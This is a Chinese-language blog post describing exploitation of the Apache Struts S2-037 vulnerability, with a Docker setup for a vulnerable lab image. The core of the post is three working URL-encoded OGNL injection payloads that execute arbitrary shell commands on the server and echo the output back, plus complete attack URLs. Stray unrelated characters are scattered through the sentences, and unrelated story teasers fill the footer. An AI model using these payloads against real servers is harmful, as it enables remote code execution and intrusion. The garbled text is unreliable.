Struts-S2-037漏洞利用,解決網(wǎng)上大部分POC不能回顯的問題(含環(huán)境搭建乍钻、含POC)

Struts-s2-037

此文僅供大家交流學習绪妹,嚴禁非法使用

一宫静、參考網(wǎng)址:

http://blog.csdn.net/qq_29277155/article/details/51672877
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-033

二走净、 影響版本:

Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

三、 漏洞介紹:

當使用REST插件啟用動態(tài)方法調(diào)用時孤里,可以傳遞可用于在服務器端執(zhí)行任意代碼的惡意表達式伏伯。

四、 環(huán)境搭建:

(Linux)
使用的參考網(wǎng)址的docker搭建環(huán)境

  • 拉取鏡像到本地

$ docker pull medicean/vulapps:s_struts2_s2-033

  • 啟動環(huán)境

$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-033
-p 80:8080 前面的 80 代表物理機的端口捌袜,可隨意指定说搅。

五、 POC:

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success

POC(回顯)(這個不容易虏等,網(wǎng)上找的都無法實現(xiàn)回顯弄唧,我費事的參照其他漏洞的輸出方式將結(jié)果回顯的)

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname

正規(guī)POC,后來找到的

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami

六霍衫、 測試網(wǎng)址:

第一個POC執(zhí)行過程:
原始網(wǎng)頁:

http://ip:8000/orders/3/

修改后網(wǎng)址:

http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success

七候引、執(zhí)行結(jié)果

1.png

八、 第二個POC執(zhí)行過程

原始網(wǎng)頁

http://ip:8000/orders/3/

修改后網(wǎng)址:

http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname

執(zhí)行結(jié)果


3.png

九敦跌、總結(jié)

回頭看來澄干,因為我之前吧s2-037當成s2-033先驗證了,而真正的s2-033一直驗證不成功柠傍,直至我把s2-033驗證成功發(fā)現(xiàn)麸俘,雖然兩個很相似,前提同為REST插件啟用動態(tài)方法調(diào)用惧笛,但s2-037好像并沒有要求<constant name="struts.enable.DynamicMethodInvocation" value="true" />从媚,因為我是驗證了s2-037,s2-033沒有成功,添加了<constant name="struts.enable.DynamicMethodInvocation" value="true" />這句話后患整,才成功驗證了s2-033

十静檬、 至此,該漏洞基本利用完畢

本人還是一個未畢業(yè)的小萌新并级,希望大家多多幫助,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激侮腹,我也會盡量去幫助大家

堅決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末嘲碧,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子父阻,更是在濱河造成了極大的恐慌愈涩,老刑警劉巖望抽,帶你破解...
    沈念sama閱讀 206,968評論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異履婉,居然都是意外死亡煤篙,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,601評論 2 382
  • 文/潘曉璐 我一進店門毁腿,熙熙樓的掌柜王于貴愁眉苦臉地迎上來辑奈,“玉大人,你說我怎么就攤上這事已烤○埃” “怎么了?”我有些...
    開封第一講書人閱讀 153,220評論 0 344
  • 文/不壞的土叔 我叫張陵胯究,是天一觀的道長稍计。 經(jīng)常有香客問我,道長裕循,這世上最難降的妖魔是什么臣嚣? 我笑而不...
    開封第一講書人閱讀 55,416評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮剥哑,結(jié)果婚禮上硅则,老公的妹妹穿的比我還像新娘。我一直安慰自己星持,他們只是感情好抢埋,可當我...
    茶點故事閱讀 64,425評論 5 374
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著督暂,像睡著了一般揪垄。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上逻翁,一...
    開封第一講書人閱讀 49,144評論 1 285
  • 那天饥努,我揣著相機與錄音,去河邊找鬼八回。 笑死酷愧,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的缠诅。 我是一名探鬼主播溶浴,決...
    沈念sama閱讀 38,432評論 3 401
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼管引!你這毒婦竟也來了士败?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,088評論 0 261
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎谅将,沒想到半個月后漾狼,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,586評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡饥臂,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,028評論 2 325
  • 正文 我和宋清朗相戀三年逊躁,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片隅熙。...
    茶點故事閱讀 38,137評論 1 334
  • 序言:一個原本活蹦亂跳的男人離奇死亡稽煤,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出猛们,到底是詐尸還是另有隱情念脯,我是刑警寧澤,帶...
    沈念sama閱讀 33,783評論 4 324
  • 正文 年R本政府宣布弯淘,位于F島的核電站绿店,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏庐橙。R本人自食惡果不足惜假勿,卻給世界環(huán)境...
    茶點故事閱讀 39,343評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望态鳖。 院中可真熱鬧转培,春花似錦、人聲如沸浆竭。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,333評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽邦泄。三九已至删窒,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間顺囊,已是汗流浹背肌索。 一陣腳步聲響...
    開封第一講書人閱讀 31,559評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留特碳,地道東北人诚亚。 一個月前我還...
    沈念sama閱讀 45,595評論 2 355
  • 正文 我出身青樓,卻偏偏與公主長得像午乓,于是被迫代替她去往敵國和親站宗。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 42,901評論 2 345

推薦閱讀更多精彩內(nèi)容